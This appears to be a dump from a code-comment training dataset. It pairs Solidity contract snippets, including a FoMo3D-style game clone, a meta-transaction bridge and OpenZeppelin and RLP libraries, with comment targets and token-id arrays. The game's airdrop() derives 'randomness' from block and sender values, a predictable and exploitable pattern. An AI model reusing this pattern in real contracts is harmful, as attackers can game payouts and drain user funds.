_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
* CAE4Ddatasets.TeamFee(20,0); //60% to pot, 15% to aff, 5% to com
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, CAE4Ddatasets.EventReturns memory _eventData_)
private
returns(CAE4Ddatasets.EventReturns)
{
// pay x% out to community rewards
uint256 _com = _eth.mul(fees_[_team].com) / 100;
// distribute share to affiliate
uint256 _aff = _eth.mul(fees_[_team].aff) / 100;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit CAE4Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
//_p3d = _aff;
}
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
//_p3d = _com;
round_[rID_].pot = round_[rID_].pot.add(_com);
_com = 0;
}
// pay out p3d
//_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
//if (_p3d > 0)
//{
// deposit to divies contract
//Divies.deposit.value(_p3d)();
// set up event data
// _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
//}
return(_eventData_);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit CAE4Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, CAE4Ddatasets.EventReturns memory _eventData_)
private
returns(CAE4Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
//uint256 _air = (_eth / 100);
//airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
//_eth = _eth.sub(((14) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
_eth = _eth.sub((_eth.mul(fees_[_team].com + fees_[_team].aff)) / 100);
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, CAE4Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit CAE4Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(
msg.sender == 0xe1A375cd31baF61D2fDAbd93F85c22A49a3795aF ||
msg.sender == 0xbD63f951D2FbbA361b2B48F65fce7E227EFD0CAC ,
"only team just can activate"
);
// can only be ran once
require(activated_ == false, "fomo3d already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library UintCompressor {
using SafeMath for *;
function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
// check conditions
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
// format our start/end points
_end = exponent(_end).mul(10);
_start = exponent(_start);
// check that the include data fits into its segment
require(_include < (_end / _start));
// build middle
if (_include > 0)
_include = _include.mul(_start);
return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end)));
}
function extract(uint256 _input, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
// check conditions
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
// format our start/end points
_end = exponent(_end).mul(10);
_start = exponent(_start);
// return requested section
return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start);
}
function exponent(uint256 _position)
private
pure
returns(uint256)
{
return((10).pwr(_position));
}
}
library CAE4DKeysCalcLong {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
|
60% to pot, 15% to aff, 5% to com
|
* CAE4Ddatasets.TeamFee(20,0);
| 12,043,117 |
[
1,
4848,
9,
358,
5974,
16,
4711,
9,
358,
7103,
16,
1381,
9,
358,
532,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
377,
380,
6425,
41,
24,
40,
21125,
18,
8689,
14667,
12,
3462,
16,
20,
1769,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/100/0x2B6DB7a8a98b1F3566a18dAe9678f4adCc456b37/sources/ClientBridge.sol
|
INTERNAL VIEW FUNCTIONS
|
function _msgSender() internal view override(BaseRelayRecipient, ContextUpgradeSafe) returns (address payable) {
return super._msgSender();
}
| 16,644,123 |
[
1,
14005,
21794,
13690,
55,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
3576,
12021,
1435,
2713,
1476,
3849,
12,
2171,
27186,
18241,
16,
1772,
10784,
9890,
13,
1135,
261,
2867,
8843,
429,
13,
288,
203,
3639,
327,
2240,
6315,
3576,
12021,
5621,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Sources flattened with hardhat v2.6.1 https://hardhat.org
// File @openzeppelin/contracts/utils/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/MVM/iMVM_DiscountOracle.sol
// MIT
pragma solidity ^0.8.9;
interface iMVM_DiscountOracle{
function setDiscount(
uint256 _discount
) external;
function setMinL2Gas(
uint256 _minL2Gas
) external;
function setWhitelistedXDomainSender(
address _sender,
bool _isWhitelisted
) external;
function isXDomainSenderAllowed(
address _sender
) view external returns(bool);
function setAllowAllXDomainSenders(
bool _allowAllXDomainSenders
) external;
function getMinL2Gas() view external returns(uint256);
function getDiscount() view external returns(uint256);
function processL2SeqGas(address sender, uint256 _chainId) external payable;
}
// File contracts/libraries/resolver/Lib_AddressManager.sol
// MIT
pragma solidity ^0.8.9;
/* External Imports */
/**
* @title Lib_AddressManager
*/
contract Lib_AddressManager is Ownable {
/**********
* Events *
**********/
event AddressSet(string indexed _name, address _newAddress, address _oldAddress);
/*************
* Variables *
*************/
mapping(bytes32 => address) private addresses;
/********************
* Public Functions *
********************/
/**
* Changes the address associated with a particular name.
* @param _name String name to associate an address with.
* @param _address Address to associate with the name.
*/
function setAddress(string memory _name, address _address) external onlyOwner {
bytes32 nameHash = _getNameHash(_name);
address oldAddress = addresses[nameHash];
addresses[nameHash] = _address;
emit AddressSet(_name, _address, oldAddress);
}
/**
* Retrieves the address associated with a given name.
* @param _name Name to retrieve an address for.
* @return Address associated with the given name.
*/
function getAddress(string memory _name) external view returns (address) {
return addresses[_getNameHash(_name)];
}
/**********************
* Internal Functions *
**********************/
/**
* Computes the hash of a name.
* @param _name Name to compute a hash for.
* @return Hash of the given name.
*/
function _getNameHash(string memory _name) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_name));
}
}
// File contracts/libraries/resolver/Lib_AddressResolver.sol
// MIT
pragma solidity ^0.8.9;
/* Library Imports */
/**
* @title Lib_AddressResolver
*/
abstract contract Lib_AddressResolver {
/*************
* Variables *
*************/
Lib_AddressManager public libAddressManager;
/***************
* Constructor *
***************/
/**
* @param _libAddressManager Address of the Lib_AddressManager.
*/
constructor(address _libAddressManager) {
libAddressManager = Lib_AddressManager(_libAddressManager);
}
/********************
* Public Functions *
********************/
/**
* Resolves the address associated with a given name.
* @param _name Name to resolve an address for.
* @return Address associated with the given name.
*/
function resolve(string memory _name) public view returns (address) {
return libAddressManager.getAddress(_name);
}
}
// File contracts/libraries/rlp/Lib_RLPReader.sol
// MIT
pragma solidity ^0.8.9;
/**
* @title Lib_RLPReader
* @dev Adapted from "RLPReader" by Hamdi Allam ([email protected]).
*/
library Lib_RLPReader {
/*************
* Constants *
*************/
uint256 internal constant MAX_LIST_LENGTH = 32;
/*********
* Enums *
*********/
enum RLPItemType {
DATA_ITEM,
LIST_ITEM
}
/***********
* Structs *
***********/
struct RLPItem {
uint256 length;
uint256 ptr;
}
/**********************
* Internal Functions *
**********************/
/**
* Converts bytes to a reference to memory position and length.
* @param _in Input bytes to convert.
* @return Output memory reference.
*/
function toRLPItem(bytes memory _in) internal pure returns (RLPItem memory) {
uint256 ptr;
assembly {
ptr := add(_in, 32)
}
return RLPItem({ length: _in.length, ptr: ptr });
}
/**
* Reads an RLP list value into a list of RLP items.
* @param _in RLP list value.
* @return Decoded RLP list items.
*/
function readList(RLPItem memory _in) internal pure returns (RLPItem[] memory) {
(uint256 listOffset, , RLPItemType itemType) = _decodeLength(_in);
require(itemType == RLPItemType.LIST_ITEM, "Invalid RLP list value.");
// Solidity in-memory arrays can't be increased in size, but *can* be decreased in size by
// writing to the length. Since we can't know the number of RLP items without looping over
// the entire input, we'd have to loop twice to accurately size this array. It's easier to
// simply set a reasonable maximum list length and decrease the size before we finish.
RLPItem[] memory out = new RLPItem[](MAX_LIST_LENGTH);
uint256 itemCount = 0;
uint256 offset = listOffset;
while (offset < _in.length) {
require(itemCount < MAX_LIST_LENGTH, "Provided RLP list exceeds max list length.");
(uint256 itemOffset, uint256 itemLength, ) = _decodeLength(
RLPItem({ length: _in.length - offset, ptr: _in.ptr + offset })
);
out[itemCount] = RLPItem({ length: itemLength + itemOffset, ptr: _in.ptr + offset });
itemCount += 1;
offset += itemOffset + itemLength;
}
// Decrease the array size to match the actual item count.
assembly {
mstore(out, itemCount)
}
return out;
}
/**
* Reads an RLP list value into a list of RLP items.
* @param _in RLP list value.
* @return Decoded RLP list items.
*/
function readList(bytes memory _in) internal pure returns (RLPItem[] memory) {
return readList(toRLPItem(_in));
}
/**
* Reads an RLP bytes value into bytes.
* @param _in RLP bytes value.
* @return Decoded bytes.
*/
function readBytes(RLPItem memory _in) internal pure returns (bytes memory) {
(uint256 itemOffset, uint256 itemLength, RLPItemType itemType) = _decodeLength(_in);
require(itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes value.");
return _copy(_in.ptr, itemOffset, itemLength);
}
/**
* Reads an RLP bytes value into bytes.
* @param _in RLP bytes value.
* @return Decoded bytes.
*/
function readBytes(bytes memory _in) internal pure returns (bytes memory) {
return readBytes(toRLPItem(_in));
}
/**
* Reads an RLP string value into a string.
* @param _in RLP string value.
* @return Decoded string.
*/
function readString(RLPItem memory _in) internal pure returns (string memory) {
return string(readBytes(_in));
}
/**
* Reads an RLP string value into a string.
* @param _in RLP string value.
* @return Decoded string.
*/
function readString(bytes memory _in) internal pure returns (string memory) {
return readString(toRLPItem(_in));
}
/**
* Reads an RLP bytes32 value into a bytes32.
* @param _in RLP bytes32 value.
* @return Decoded bytes32.
*/
function readBytes32(RLPItem memory _in) internal pure returns (bytes32) {
require(_in.length <= 33, "Invalid RLP bytes32 value.");
(uint256 itemOffset, uint256 itemLength, RLPItemType itemType) = _decodeLength(_in);
require(itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes32 value.");
uint256 ptr = _in.ptr + itemOffset;
bytes32 out;
assembly {
out := mload(ptr)
// Shift the bytes over to match the item size.
if lt(itemLength, 32) {
